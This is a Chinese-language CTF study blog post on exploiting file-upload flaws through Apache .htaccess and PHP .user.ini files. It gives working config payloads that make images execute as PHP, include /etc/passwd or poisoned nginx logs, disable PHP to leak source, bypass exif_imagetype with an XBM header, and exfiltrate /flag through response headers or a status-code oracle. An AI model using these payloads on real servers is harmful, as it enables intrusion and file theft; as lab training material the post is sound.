浅析文件上传之配置文件的利用
本文最后更新于4 天前,其中的信息可能已经过时,如有错误请发送邮件到你太幼稚1919810@163.com

.htaccess文件

作用:分布式配置文件,一般用于URL重写、认证、访问控制等
作用范围:特定目录(一般是网站根目录)及其子目录
优先级:较高。可覆盖Apache的主要配置文件(httpd—conf)
生效方式:修改后立刻生效
注意点:只有含义apache服务才能使用

文件解析

(这里我使用的buu上的文件上传靶场Upload-Labs-Linux做的测试:BUUCTF在线评测)

有时会对文件后缀做限制,通过上传配置文件,使得其他后缀的文件中的php代码也能被解析

SetHandler指令

<FilesMatch  "shell.png">
SetHandler  application/x-httpd-php
</FilesMatch>

该指令意为将shell.png当作php解析

AddType指令

AddType application/x-httpd-php .png

该指令意为将png文件中的内容当作php解析

文件包含

通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。

.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。

php_value auto_prepend_file /etc/passwd

Pasted image 20260410111244.png

源码泄露

利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

Pasted image 20260410111341.png

代码执行

all_url_fopenall_url_include 为 On,利用data伪协议将数据流内容当作php代码处理

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
#强制在每个PHP文件的末尾"追加"包含data伪协议解码后的内容

Pasted image 20260410161118.png

前提是当前目录(或其子目录下)下有php文件

同目录或子目录没有 php 文件:

<Files ~ "^.ht">
 Require all granted #允许所有人访问匹配的文件
 Order allow,deny #先处理allow规则,再处理deny规则
 Allow from all #允许所有IP地址的客户端访问
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo();?>

Pasted image 20260410162415.png

绕过exif_imagetype()传文件

exif_imagetype()读取图像文件的前几个字节,检测图像的实际格式,waf中如果有该函数检测的话,图像格式不正确可能会导致文件无法上传

绕过方法:使用#添加图像格式

XBM(X BitMap)是一种纯文本格式的位图图像格式,最初用于X Window系统

XBM文件实际上是C语言源代码,包含图像数据的数组定义:

#define test_width 16
#define test_height 16
static unsigned char test_bits[] = {
  0x0f, 0x00, 0x36, 0x00, 0x66, 0x00, 0xc6, 0x00,
  0xc6, 0x06, 0x66, 0x06, 0x36, 0x03, 0x0f, 0x00
};

格式:

#define width 20
#define height 10
AddType application/x-httpd-php .后缀

例题:[GHCTF 2025]UPUPUP – NSSCTF

重写引擎和条件表达式的小trick

什么是 mod_rewrite?

mod_rewrite 是 Apache HTTP Server 的一个模块,提供基于规则的重写引擎,用于动态重写请求的 URL。它就像 URL 的”瑞士军刀”,可以:

  • 将用户友好的 URL 映射到实际的文件路径
  • 重定向旧 URL 到新位置
  • 根据条件(如设备类型、IP地址等)提供不同内容
  • 实现负载均衡和故障转移
  • 增强网站安全性和SEO优化

工作原理

mod_rewrite 使用 PCRE(Perl Compatible Regular Expressions)正则表达式来匹配 URL,然后根据规则进行重写或重定向。它工作在 Apache 请求处理的不同阶段,可以访问服务器变量、环境变量和 HTTP 头信息。

核心步骤

启动重写引擎:该选项默认是关闭的,在配置文件中要写将其打开

RewriteEngine On

规则:RewriteRule

RewriteRule Pattern Substitution [Flags]
  • Pattern:正则表达式,匹配当前 URL
  • Substitution:替换字符串,定义重写后的 URL
  • Flags:可选标志,控制规则行为

Substitution可以是以下类型之一

类型 示例 说明
相对路径 newpage.html 相对于当前目录
绝对路径 /var/www/new.html 文件系统路径
URL 路径 /new/path 相对于文档根
完整 URL https://example.com/new 外部重定向
特殊值 - 请求继续使用原始URL,不进行重写

常用标志 (Flags)

标志 含义 说明
[L] Last 停止处理后续规则
[R] Redirect 外部重定向(默认 302)
[R=301] 永久重定向 搜索引擎更新索引
[NC] No Case 不区分大小写
[QSA] Query String Append 保留原始查询字符串
[F] Forbidden 返回 403 禁止访问
[G] Gone 返回 410 资源已删除

条件:RewriteCond

在规则前添加条件,只有满足所有条件时才执行规则:

RewriteCond TestString ConditionPattern [Flags]
RewriteRule Pattern Substitution [Flags]

测试字符串(TestString)

  • 普通字符串
  • 反向引用:$1$9(来自 RewriteRule),%1%9(来自 RewriteCond)
  • 服务器变量:%{变量名}

例子:

RewriteCond expr "'hello123' =~ /([a-z]+)([0-9]+)/"
RewriteRule .* - [E=A:%1,E=B:%2]

分组1为hello,分组2为123,所以A=hello,B=123

ConditionPattern(条件模式)

模式 含义 示例
! 逻辑非 !-f 文件不存在
< 字典序小于 <example
> 字典序大于 >example
= 等于字符串 =example
-d 是目录 !-d 不是目录
-f 是文件 -f 文件存在
-s 文件存在且非空 -s 非空文件
-l 是符号链接 -l 符号链接

示例:

# 如果文件不存在且不是目录
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
# 则重写到 index.php
RewriteRule ^(.*)$ /index.php [L]

设置环境变量

RewriteRule ^test/(.*)$ - [E=TEST_MODE:true]
#当访问以/test/开头的URL时,设置一个名为TEST_MODE的环境变量为true

条件表达式

Apache HTTP Server 2.4+ 引入,用于在配置文件中编写条件逻辑和字符串表达式。

表达式类型

  • 条件表达式:返回布尔值(true/false),用于条件判断
  • 字符串表达式:返回字符串值,用于头部设置、重定向等

BNF语法:这里只介绍expr

expr    ::= cond | string

expr 可以定义为 cond 或者 string
用自然语言说:一个表达式(expr)可以是一个条件(cond或者一个字符串(string

变量:变量使用 %{变量名} 格式引用,值取决于请求处理阶段。当然也可用于函数的调用,语法为 %{funcname:funcargs}

标识符

  • 环境变量(%{VAR}e):从环境变量中获取VAR变量的值
  • 请求头(%{User-Agent}i):从请求头中读取变量User-Agent的值
  • 响应头(%{Set-Cookie}o):从响应头中读取变量Set-Cookie的值
  • 无后缀(如%{REQUEST_URI}):内置变量,直接读取

函数

函数 描述 示例
req('Header-Name') 获取请求头 req('User-Agent')
reqenv('VAR') 获取环境变量 reqenv('PATH')
tolower(string) 转换为小写 tolower('HELLO')
toupper(string) 转换为大写 toupper('hello')
md5(string) 计算MD5哈希 md5('text')
sha1(string) 计算SHA1哈希 sha1('text')
substr(string, start, length) 提取子字符串 substr('hello', 1, 3)
length(string) 字符串长度 length('hello')
escape(string) URI转义 escape('a b')
unescape(string) URI反转义 unescape('a%20b')
split(pattern, string) 按模式分割字符串 split(',', 'a,b,c')
join(list, separator) 连接列表元素 join({'a','b','c'}, ',')
file('/path') 读取文件内容 file('/flag')

ctf赛题中的运用

Header set FLAG "expr=%{file:/flag}"

expr=表示后面是要执行的表达式;%{}是变量/函数调用的语法,里面是调用file这个函数,参数为/flag

RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"#判断/flag文件是否存在(=~是正则匹配运算符),若有,将flag值存给%1
RewriteRule .* - [E=FLAG:%1] #创建一个名为FLAG的环境变量,赋值为%1,即RewriteCond中正则匹配的第一个分组,里面存放的就是flag值
Header set FLAG "%{FLAG}e"#从环境变量中读取FLAG的值

Pasted image 20260410192049.png

RewriteEngine On  
RewriteCond expr "file('/flag') =~ /^flag{/"  
RewriteRule .* - [R=500]

如果正则匹配成功,就会重写至500,通过状态码来写脚本进行盲注。

例题:ezUpload | CTF+ ,ezUpload Revenge!! | CTF+

.user.ini

作用:特定用户或特定目录的配置文件,通常位于web应用程序的根目录下。用于覆盖或者追加全局配置文件(如php.ini)中的PHP配置选项
作用范围:存放该文件的目录及其子目录
优先级:较高,可以覆盖php.ini
生效方式:立即生效

auto_prepend_file  //在文件前插入
auto_append_file   //文件最后插入

用法:如果文件上传后的存储路径下(或其子目录下)有php文件,可以是使用该配置文件,让存放该配置文件的目录以及其子目录下的所有php文件都包含指定文件的文件内容

包含图片中的php代码

在图片中添加php恶意代码后上传,然后再上传配置文件,这样,当前目录及子目录下所有php文件都可以被利用

Pasted image 20260123170857.png

包含日志文件

在消息头中写入php恶意代码,这样日志中的内容就会写入恶意代码

Pasted image 20260123171159.png

再上传.user.ini文件,内容为(这里以nginx为例)

auto_prepend_file=/var/log/nginx/access.log

Pasted image 20260123172408.png

这类题目还是比较好找的,这里就不上例题了

学习了大佬们的文章,整理了下配置文件利用方法,受益匪浅。如果有什么其他好的利用方法欢迎补充😁
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇